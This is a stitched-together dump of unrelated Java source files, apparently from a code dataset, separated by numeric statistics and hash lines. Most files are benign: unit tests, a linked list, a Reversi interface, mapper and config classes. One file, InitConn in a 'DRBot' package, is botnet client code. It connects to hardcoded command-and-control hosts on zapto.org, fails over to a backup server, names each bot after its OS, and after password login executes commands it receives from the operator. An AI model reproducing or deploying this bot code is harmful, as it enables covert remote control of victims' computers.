package ru.ydn.wicket.wicketorientdb.filter; import java.util.Arrays; import java.util.List; interface ITesterFilterConstants { public static final String TEST_CLASS_NAME = "FilterTestOClass"; public static final String LINK_TEST_CLASS_NAME = "LinkFilterOClass"; public static final String PARENT_CLASS_NAME = "ParentClass"; public static final String CHILD_CLASS_NAME = "ChildClass"; public static final String STRING_FIELD = "name"; public static final String NUMBER_FIELD = "number"; public static final String DATE_FIELD = "date"; public static final String DATETIME_FIELD = "datetime"; public static final String LINK_FIELD = "link"; public static final String LINK_LIST_FIELD = "linkList"; public static final String LINK_SET_FIELD = "linkSet"; public static final String LINK_MAP_FIELD = "linkMap"; public static final String EMBEDDED_FIELD = "embedded"; public static final String EMBEDDED_LIST_FIELD = "embeddedList"; public static final String EMBEDDED_LIST_STRING_FIELD = "embeddedStringList"; public static final String EMBEDDED_SET_STRING_FIELD = "embeddedStringSet"; public static final String EMBEDDED_SET_FIELD = "embeddedSet"; public static final String EMBEDDED_MAP_FIELD = "embeddedMap"; public static final String STR_VALUE_1 = "string value 1"; public static final String STR_VALUE_2 = "summer value 2"; public static final String STR_VALUE_3 = "winter value 3"; public static final String STR_VALUE_4 = "spring value 4"; public static final Integer NUM_VALUE_1 = 1; public static final Integer NUM_VALUE_2 = 2; public static final Integer NUM_VALUE_3 = 3; public static final Integer NUM_VALUE_4 = 4; public static final String DATE_VALUE_1 = "2017-01-01"; public static final String DATE_VALUE_2 = "2017-02-02"; public static final String DATE_VALUE_3 = "2017-03-03"; public static final String DATE_VALUE_4 = "2017-04-04"; public static final String DATETIME_VALUE_1 = "2017-01-01 01:01:01"; public static final String DATETIME_VALUE_2 = "2017-02-02 02:02:02"; public static final String DATETIME_VALUE_3 = "2017-03-03 03:03:03"; public static final String DATETIME_VALUE_4 = "2017-04-04 04:04:04"; public static final List<Integer> LIST_ORDER_1 = Arrays.asList(1, 2, 3, 4); public static final List<Integer> LIST_ORDER_2 = Arrays.asList(4, 3, 2, 1); public static final List<Integer> LIST_ORDER_3 = Arrays.asList(3, 2, 4, 1); public static final List<Integer> LIST_ORDER_4 = Arrays.asList(2, 4, 3, 1); public static final List<String> MAP_KEYS = Arrays.asList(STR_VALUE_1, STR_VALUE_2, STR_VALUE_3, STR_VALUE_4); }
52.018182
114
0.704299
df19a7a888a060f4ef18537d2f0a603687a5d007
583
package com.jordanluyke.reversi.match; import com.jordanluyke.reversi.match.model.Match; import com.jordanluyke.reversi.match.model.Position; import io.reactivex.rxjava3.core.Single; /** * @author Jordan Luyke <jordanluyke@gmail.com> */ public interface MatchManager { Single<Match> createMatch(String playerId1, String playerId2); Single<Match> getMatch(String matchId); Single<Match> placePiece(String matchId, String accountId, Position position); // Single<Match> join(String matchId, String accountId); // Single<Match> findMatch(String accountId); }
26.5
82
0.761578
f39da60331be0536ea4eb7f0409daab3cdd48283
665
package jhetzel.vagar.exception; public class MissingGeneratedBinderClassException extends RuntimeException { private final String mMessage; public MissingGeneratedBinderClassException(Exception e){ super(e); mMessage = new StringBuilder() .append("Unable to Instantiate the generated Binding due to a ") .append(e.getClass().getSimpleName()) .append(". Please check if you have Annotated your Classes from where you ") .append("call Vagar with @Assemble.") .toString(); } @Override public String getMessage() { return mMessage; } }
30.227273
92
0.633083
99faea13b5422d0fc4c8b711a5dc635a7540a3a5
367
package cn.lingxiao.org.mapper; import cn.lingxiao.basic.mapper.BaseMapper; import cn.lingxiao.org.domain.Department; import cn.lingxiao.org.query.DepartmentQuery; import org.springframework.stereotype.Component; import java.util.List; @Component public interface DepartmentMapper extends BaseMapper<Department> { /*部门查询*/ List<Department> loadTree(); }
21.588235
66
0.792916
68f7ad787352c0ecc690b67775dc13ff1d0ab4f6
2,272
package com.darren.AlgorithmAndDataStructures.DataStructures; import org.junit.Test; /** * Project: light * Time : 2020-10-18 18:26 * Desc : * */ public class DoubleLinkedList { DoubleListNode head = new DoubleListNode(0); public void add(DoubleListNode node) { DoubleListNode current = head; // 找到最后一个节点 while (current.next != null) { current = current.next; } // 形成双向链表 current.next = node; node.pre = current; } public boolean delete(int val) { DoubleListNode current = head.next; // 找到匹配节点 boolean flag = false; while (current != null) { if (val == current.val) { flag = true; break; } current = current.next; } if (flag) { // 将自己从链表摘除 current.pre.next = current.next; if (current.next != null) { current.next.pre = current.pre; } } else { System.out.println("未找到匹配的节点" + val); } return flag; } public DoubleListNode getHead() { return head; } public void showAll() { DoubleListNode current = head.next; while (current != null) { System.out.println(current); current = current.next; } } public class DoubleListNode { int val; DoubleListNode next; DoubleListNode pre; DoubleListNode() { } DoubleListNode(int val) { this.val = val; } DoubleListNode(int val, DoubleListNode next) { this.val = val; this.next = next; } @Override public String toString() { return "DoubleListNode{" + "val=" + val + '}'; } } @Test public void test() { DoubleLinkedList doubleLinkedList = new DoubleLinkedList(); doubleLinkedList.add(new DoubleListNode(1)); doubleLinkedList.add(new DoubleListNode(2)); doubleLinkedList.showAll(); System.out.println("-----删除后的链表----"); doubleLinkedList.delete(1); doubleLinkedList.showAll(); } }
22.949495
67
0.511884
717591e2e94e7fb519506e4ed73be33615b34b33
2,585
package com.gildedrose.services.strategies.impl; import com.gildedrose.enums.ItemName; import com.gildedrose.exceptions.MaxQualityException; import com.gildedrose.exceptions.MinQualityException; import com.gildedrose.models.Item; import lombok.SneakyThrows; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertThrows; class AgedBrieItemQualityStrategyTest { private AgedBrieItemQualityStrategy fixture = new AgedBrieItemQualityStrategy(); @Test @SneakyThrows public void givenSellDateOk_whenEvaluateQuality_thenIncreaseQualityByOne() { int originalSellIn = 1; int originalQuality = 0; Item item = new Item(ItemName.AGED_BRIE.getName(), originalSellIn, originalQuality); int returnedQuality = this.fixture.evaluateAndReturnQuality(item); assertEquals(1, returnedQuality); } @Test @SneakyThrows public void givenSellDateNok_whenEvaluateQualityNegativeSellIn_thenIncreaseQualityByTwo() { int originalSellIn = -1; int originalQuality = 0; Item item = new Item(ItemName.AGED_BRIE.getName(), originalSellIn, originalQuality); int returnedQuality = this.fixture.evaluateAndReturnQuality(item); assertEquals(2, returnedQuality); } @Test public void givenQualityItemExceedsLimit_whenEvaluateQuality_throwMaxQualityException() { assertThrows(MaxQualityException.class, () -> { int originalSellIn = 10; int originalQuality = 51; Item item = new Item(ItemName.AGED_BRIE.getName(), originalSellIn, originalQuality); this.fixture.evaluateAndReturnQuality(item); }); } @Test public void givenQualityItemExceedsLimitAfterCalculations_whenEvaluateQuality_throwMaxQualityException() { assertThrows(MaxQualityException.class, () -> { int originalSellIn = -1; int originalQuality = 49; Item item = new Item(ItemName.AGED_BRIE.getName(), originalSellIn, originalQuality); this.fixture.evaluateAndReturnQuality(item); }); } @Test public void givenQualityItemIsNegative_whenEvaluateQuality_throwMinQualityException() { assertThrows(MinQualityException.class, () -> { int originalSellIn = 10; int originalQuality = -1; Item item = new Item(ItemName.AGED_BRIE.getName(), originalSellIn, originalQuality); this.fixture.evaluateAndReturnQuality(item); }); } }
37.463768
110
0.71528
6b7fe0d8d0bb400d5d6a77159d59239b8baefc10
1,517
package com.jayway.rps.app; import org.glassfish.jersey.server.ResourceConfig; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.fasterxml.jackson.databind.DeserializationFeature; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; import com.jayway.es.impl.ApplicationService; import com.jayway.es.impl.ReflectionUtil; import com.jayway.es.store.eventstore.EventStoreEventStore; import com.jayway.rps.domain.game.Game; import com.jayway.rps.domain.game.GamesProjection; import com.jayway.rps.infra.rest.HandleAllExceptions; import com.jayway.rps.infra.rest.RpsResource; public class RpsConfig extends ResourceConfig { private static final Logger logger = LoggerFactory.getLogger(RpsConfig.class); private ObjectMapper mapper; public RpsConfig() throws Exception { mapper = new ObjectMapper(); mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); mapper.configure(SerializationFeature.WRITE_NULL_MAP_VALUES, false); GamesProjection gameProjection = new GamesProjection(); EventStoreEventStore eventStore = new EventStoreEventStore("game", mapper); ApplicationService applicationService = new ApplicationService(eventStore, Game.class); eventStore.all().collect(()-> gameProjection, ReflectionUtil::invokeHandleMethod); register(new RpsResource(applicationService, gameProjection)); register(new HandleAllExceptions()); } }
41
89
0.790376
60aba63c2b5c1ef24591023ef1557cb998b141d6
422
package Excecao.personalizadaB; import Excecao.Aluno; public class testeValidacao { public static void main(String[] args){ try { Aluno aluno = new Aluno("Ana", 7); Validar.aluno(aluno); } catch (StringVazia e) { System.out.println(e.getMessage()); } catch (NumeroForaIntervalo | IllegalArgumentException e) { System.out.println(e.getMessage()); } System.out.println("Fim"); } }
16.88
62
0.668246
cf0d1cb7317ecbfcf93cce2e5844757105528b55
6,154
package InitConn; import com.DRBot.Commands.myCommands; import com.DRBot.OS.OsProp; import com.DRBot.SecureLine.SecureLine; import java.net.Socket; import java.net.Inet4Address; import java.io.BufferedReader; import java.io.IOException; import java.io.OutputStreamWriter; import java.io.InputStreamReader; import java.io.PrintWriter; import java.net.ConnectException; import java.net.UnknownHostException; /** * * @author MerNat */ public class InitConn implements Runnable{ private String myServer; private String myBackUpServer; private final String pass; private final int port; private String[] myComm; private String toComm; private String botName; private String botNameSend; private OutputStreamWriter outWriter; private InputStreamReader inReader; private PrintWriter writer; private BufferedReader reader; private Socket mySocket; private Inet4Address inetAdd; private final boolean toConn; private final long timeSleep; private int counter = 5; private boolean auth; private final myCommands myCommandClass; private final SecureLine secureLine; public InitConn(String myServer,String myBackUpServer,int port,String pass,boolean Engaged){ this.myServer = myServer; this.myBackUpServer = myBackUpServer; this.port = port; this.pass = pass; this.toConn = Engaged; timeSleep = 3000; myCommandClass = new myCommands(); auth = false; if(toConn == true){connection();} secureLine = new SecureLine(); genNick(); } private void genNick(){ String temp = new OsProp().shortOs(); int random = (int)(Math.random()*500000); botName = temp + "_" + random; botNameSend = "**"+temp + "_" + random; } private String getNickSend(){ return botNameSend+secureLine.getSecret(); } @Override public void run(){ try { connectToServer(); getStreams(); sendData(getNickSend()); processConn(writer,reader); } catch (IOException ex) {} finally{ closeConnection(); } } private void connection(){ Thread newConn = new Thread(new InitConn("doom.zapto.org","doom2.zapto.org",5002,"Dearmama1!",false)); newConn.start(); } private void connectToServer(){ try{ inetAdd = (Inet4Address)Inet4Address.getByName(myServer); mySocket = new Socket(inetAdd,port); } catch(UnknownHostException un){ try{ Thread.sleep(timeSleep); counter--; if(counter==1){ counter = 5; String temp = myServer; myServer = myBackUpServer; myBackUpServer = temp; } run(); } catch(InterruptedException inter){} } catch(ConnectException connEx){ try{ Thread.sleep(timeSleep); counter--; if(counter==1){ counter = 5; String temp = myServer; myServer = myBackUpServer; myBackUpServer = temp; } run(); } catch(InterruptedException inter){} } catch(IOException ioEx){ try{ Thread.sleep(timeSleep); counter--; if(counter==1){ counter = 5; String temp = myServer; myServer = myBackUpServer; myBackUpServer = temp; } run(); } catch(InterruptedException inter){} } catch (NullPointerException ex) {} } private void getStreams()throws IOException{ writer = new PrintWriter(mySocket.getOutputStream()); reader = new BufferedReader(new InputStreamReader(mySocket.getInputStream())); } private synchronized void processConn(PrintWriter write,BufferedReader read)throws IOException{ String msg; while((msg = read.readLine())!= null){ msg = secureLine.decrypt(msg); if(getMessage(msg)!=null && getMessage(msg).equals(">login "+pass) && auth == false){ write.println(secureLine.encrypt("commander you are logged in.")); write.flush(); auth = true; } else if(auth == true && getMessage(msg)!=null){ String myCommand = getMessage(msg).replace(">",""); if(myCommand.indexOf(" ")>=0){ myComm = myCommand.split(" "); toComm = myComm[0]; } else{ toComm = myCommand; } int indexComm = myCommandClass.isCommand(toComm); if(indexComm!=-1){ try { myCommandClass.analyzeCommand(inetAdd,indexComm,myComm,write,botName,secureLine); } catch (NullPointerException ex) {} catch (InterruptedException ex) {} } } } } private String getMessage(String ircMsg){ int po = ircMsg.lastIndexOf(":"); String temp = ircMsg.substring(po+1); if(temp.startsWith(">")){ return temp; } else{ return null; } } private void closeConnection(){ try { writer.close(); reader.close(); } catch (IOException ex) {} } private void sendData(String msg){ writer.println(msg); writer.flush(); } }
33.445652
117
0.514625
c250d3f02808f4719f028a75e334732681f8e9f0
750
package com.JNet.http; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; public class HttpSession { private String sessionId; private Map<String, Object> attributes; public void setAttribute(String name, Object value) { attributes.put(name, value); } public String getSessionId() { return sessionId; } public HttpSession(String sessionId) { this.sessionId = sessionId; this.attributes = new ConcurrentHashMap<>(); } public Object getAttribute(String name) { return attributes.get(name); } public void destroy() { JNetManagement jNetManagement = JNetManagement.getInstance(); jNetManagement.destroy(this.sessionId); } }
22.727273
69
0.673333